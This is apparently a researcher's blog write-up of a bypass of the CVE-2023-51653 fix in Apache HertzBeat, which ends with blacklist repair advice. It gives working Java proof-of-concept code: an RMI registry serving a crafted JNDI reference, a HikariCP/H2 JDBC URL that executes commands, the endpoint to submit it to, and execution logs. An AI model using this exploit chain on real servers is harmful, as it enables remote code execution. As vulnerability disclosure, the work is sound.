CVE-2023-51653 rce analysis

found by:unam4 and SpringKill

0x01 Vulnerability description

​ Hello, we found a remote command execution vulnerability in hertzbeat 1.6.0. In JmxCollectImpl.java, JMXConnectorFactory.connect actually has JNDI injection, and we can control the Ref of RMIServer to achieve the remote command execution vulnerability.

0x02 RCE analysis

​ Found org.apache.naming.factory.FactoryBase in tomcat, which can cause a secondary ref, thereby bypassing the fix for CVE-2023-51653 and executing arbitrary code.

org.apache.naming.factory.FactoryBase#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (this.isReferenceTypeSupported(obj)) {
Reference ref = (Reference)obj;
Object linked = this.getLinked(ref);
if (linked != null) {
return linked;
} else {
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get("factory");
if (factoryRefAddr != null) {
String factoryClassName = factoryRefAddr.getContent().toString();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;

NamingException ex;
try {
if (tcl != null) {
factoryClass = tcl.loadClass(factoryClassName);
} else {
factoryClass = Class.forName(factoryClassName);
}
} catch (ClassNotFoundException var14) {
ClassNotFoundException e = var14;
ex = new NamingException(sm.getString("factoryBase.factoryClassError"));
ex.initCause(e);
throw ex;
}

try {
factory = (ObjectFactory)factoryClass.getConstructor().newInstance();
} catch (Throwable var15) {
......
}
} else {
factory = this.getDefaultFactory(ref);
}

if (factory != null) {
return factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
throw new NamingException(sm.getString("factoryBase.instanceCreationError"));
}
}
} else {
return null;
}
}

Here we can control the factory and assign it to an exploitable factory. The factory will be automatically initialized, and then call factory.getObjectInstance, which is enough for secondary Reference exploitation. Here we change the factory to com.zaxxer.hikari.HikariJNDIFactory to bypass the filter detection and trigger HikariJNDIFactory to load org.h2.Driver, triggering the arbitrary code execution vulnerability.

com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public synchronized Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj instanceof Reference && "javax.sql.DataSource".equals(((Reference)obj).getClassName())) {
Reference ref = (Reference)obj;
Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class);
Properties properties = new Properties();
Enumeration<RefAddr> enumeration = ref.getAll();

while(true) {
RefAddr element;
String type;
do {
if (!enumeration.hasMoreElements()) {
return this.createDataSource(properties, nameCtx);
}
......
}

com.zaxxer.hikari.HikariJNDIFactory#createDataSource

1
2
3
4
private DataSource createDataSource(Properties properties, Context context) throws NamingException {
String jndiName = properties.getProperty("dataSourceJNDI");
return (DataSource)(jndiName != null ? this.lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource(new HikariConfig(properties)));
}

Here createDataSource is called to create a jdbc connection, thus triggering h2 to load arbitrary code

0x03 poc

Since org.apache.naming.factory.FactoryBase is an abstract class, just fill in its subclass in factory here.

Its four subcategories.

1
2
3
4
org.apache.naming.factory.EjbFactory
org.apache.naming.factory.ResourceEnvFactory
org.apache.naming.factory.ResourceFactory
org.apache.naming.factory.TransactionFactory

RCE

Construct a malicious referral and make it return when JNDI connects.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class refrce {
public static ResourceRef exploit() throws Exception {
String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,"","",true,"org.apache.naming.factory.ResourceFactory",null);
ref.add(new StringRefAddr("factory", "com.zaxxer.hikari.HikariJNDIFactory"));
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));

ref.add(new StringRefAddr("jdbcUrl", url));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}

Submit the data at the/API/Monitor/Detect interface, that is, the JVM virtual machine in the monitoring item, fill in the service:jmx:rmi:///jndi/rmi://ip:port/object, http and the return package will read it. document content.

The corresponding stack call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
2024-10-10 21:00:27.330 [1000000000-jvm-basic-5239] ERROR org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl Line:124 - JMX IOException :Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement:
CREATE TRIGGER UNAM4 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]]
2024-10-10 21:00:27.331 [1000000000-jvm-basic-5239] INFO org.apache.hertzbeat.collector.dispatch.MetricsCollect Line:386 - [Collect Failed, Run 2092ms, All 2093ms] Reason: Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement:
CREATE TRIGGER UNAM4 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]]
2024-10-10 21:00:44.677 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance
2024-10-10 21:00:44.936 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows.
2024-10-10 21:01:14.679 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance
2024-10-10 21:01:14.681 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows.
2024-10-10 21:01:24.239 [1000000000-jvm-basic-4239] INFO org.apache.hertzbeat.collector.collect.common.cache.ConnectionCommonCache Line:191 - [connection common cache] not hit the cache, key CacheIdentifier {ip='127.0.0.1', port='9999', username+password=>hash='961', customArg='null'}.
2024-10-10 21:01:24.249 [1000000000-jvm-basic-4239] INFO com.zaxxer.hikari.HikariDataSource Line:80 - HikariPool-3 - Starting...
2024-10-10 21:01:25.601 [1000000000-jvm-basic-4239] ERROR com.zaxxer.hikari.pool.HikariPool Line:594 - HikariPool-3 - Exception during pool initialization.
org.h2.jdbc.JdbcSQLSyntaxErrorException: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement:
CREATE TRIGGER UNAM4 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]
at org.h2.message.DbException.getJdbcSQLException(DbException.java:644)
at org.h2.message.DbException.getJdbcSQLException(DbException.java:489)
at org.h2.message.DbException.get(DbException.java:212)
at org.h2.schema.TriggerObject.load(TriggerObject.java:95)
at org.h2.schema.TriggerObject.setTriggerAction(TriggerObject.java:149)
at org.h2.schema.TriggerObject.setTriggerSource(TriggerObject.java:142)
at org.h2.command.ddl.CreateTrigger.update(CreateTrigger.java:125)
at org.h2.command.CommandContainer.update(CommandContainer.java:169)
at org.h2.command.Command.executeUpdate(Command.java:256)
at org.h2.engine.Engine.openSession(Engine.java:280)
at org.h2.engine.Engine.createSession(Engine.java:201)
at org.h2.engine.SessionRemote.connectEmbeddedOrServer(SessionRemote.java:343)
at org.h2.jdbc.JdbcConnection.<init>(JdbcConnection.java:125)
at org.h2.Driver.connect(Driver.java:59)
at com.zaxxer.hikari.util.DriverDataSource.getConnection(DriverDataSource.java:121)
at com.zaxxer.hikari.pool.PoolBase.newConnection(PoolBase.java:359)
at com.zaxxer.hikari.pool.PoolBase.newPoolEntry(PoolBase.java:201)
at com.zaxxer.hikari.pool.HikariPool.createPoolEntry(HikariPool.java:470)
at com.zaxxer.hikari.pool.HikariPool.checkFailFast(HikariPool.java:561)
at com.zaxxer.hikari.pool.HikariPool.<init>(HikariPool.java:100)
at com.zaxxer.hikari.HikariDataSource.<init>(HikariDataSource.java:81)
at com.zaxxer.hikari.HikariJNDIFactory.createDataSource(HikariJNDIFactory.java:63)
at com.zaxxer.hikari.HikariJNDIFactory.getObjectInstance(HikariJNDIFactory.java:51)
at org.apache.naming.factory.FactoryBase.getObjectInstance(FactoryBase.java:96)
at java.naming/javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:342)
at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:501)
at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:140)
at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServerJNDI(RMIConnector.java:1839)
at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1813)
at java.management.rmi/javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:302)
at java.management/javax.management.remote.JMXConnectorFactory.connect(JMXConnectorFactory.java:270)
at org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl.getConnectSession(JmxCollectImpl.java:213)
at org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl.collect(JmxCollectImpl.java:95)
at org.apache.hertzbeat.collector.dispatch.MetricsCollect.run(MetricsCollect.java:155)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.base/java.lang.Thread.run(Thread.java:842)
Caused by: java.lang.NullPointerException: Cannot invoke "org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)" because "this.triggerCallback" is null
at org.h2.schema.TriggerObject.load(TriggerObject.java:90)
... 35 common frames omitted
2024-10-10 21:01:25.603 [1000000000-jvm-basic-4239] ERROR org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl Line:124 - JMX IOException :Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement:
CREATE TRIGGER UNAM4 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]]
2024-10-10 21:01:25.603 [1000000000-jvm-basic-4239] INFO org.apache.hertzbeat.collector.dispatch.MetricsCollect Line:386 - [Collect Failed, Run 1364ms, All 1365ms] Reason: Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is com.zaxxer.hikari.pool.HikariPool$PoolInitializationException: Failed to initialize pool: Error creating or initializing trigger "UNAM4" object, class "..source..", cause: "java.lang.NullPointerException: Cannot invoke ""org.h2.api.Trigger.init(java.sql.Connection, String, String, String, boolean, int)"" because ""this.triggerCallback"" is null"; see root cause for details; SQL statement:
CREATE TRIGGER UNAM4 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec("open -a calculator");}$$ [90043-224]]
2024-10-10 21:01:44.679 [jpa-metrics-cleaner-0] WARN org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:83 - [jpa-metrics-store]-start running expired data cleaner.Please use time series db instead of jpa for better performance
2024-10-10 21:01:44.683 [jpa-metrics-cleaner-0] INFO org.apache.hertzbeat.warehouse.store.history.jpa.JpaDatabaseDataStorage Line:103 - [jpa-metrics-store]-delete 0 rows.
2024-10-10 21:01:51.109 [common-worker-0] INFO org.apache.hertzbeat.remoting.netty.NettyRemotingServer Line:123 - server shutdown now!
2024-10-10 21:01:51.110 [metrics-task-dispatcher] INFO org.apache.hertzbeat.collector.dispatch.CommonDispatcher Line:129 - [Dispatcher]-metrics-task-dispatcher has been interrupt to close.
2024-10-10 21:01:51.114 [SpringApplicationShutdownHook] INFO org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean Line:650 - Closing JPA EntityManagerFactory for persistence unit 'default'
2024-10-10 21:01:51.308 [metrics-task-dispatcher] INFO org.apache.hertzbeat.collector.dispatch.CommonDispatcher Line:135 - Thread Interrupted, Shutdown the [metrics-task-dispatcher]
2024-10-10 21:01:51.309 [SpringApplicationShutdownHook] INFO com.zaxxer.hikari.HikariDataSource Line:350 - HikariPool-1 - Shutdown initiated...
2024-10-10 21:01:51.309 [netty-server-boss-0] INFO io.netty.handler.logging.LoggingHandler Line:148 - [id: 0x1539d0b1, L:/[0:0:0:0:0:0:0:0]:1158] INACTIVE
2024-10-10 21:01:51.310 [netty-server-boss-0] INFO io.netty.handler.logging.LoggingHandler Line:148 - [id: 0x1539d0b1, L:/[0:0:0:0:0:0:0:0]:1158] UNREGISTERED
2024-10-10 21:01:51.311 [SpringApplicationShutdownHook] INFO com.zaxxer.hikari.HikariDataSource Line:352 - HikariPool-1 - Shutdown completed.
2024-10-10 21:01:51.316 [SpringApplicationShutdownHook] INFO com.usthe.sureness.configuration.SurenessJakartaServletFilter Line:55 - servlet surenessFilter destroyed

After execution, the computer pops up

0x04 Repair suggestions

​ Add blacklist to four classes: org.apache.naming.factory.EjbFactory, org.apache.naming.factory.ResourceEnvFactory, org.apache.naming.factory.ResourceFactory, org.apache.naming.factory.TransactionFactory


CVE-2023-51653 rce analysis
https://unam4.github.io/2025/04/13/CVE-2023-51653-rce-analysis/
作者
unam4
发布于
2025年4月13日
许可协议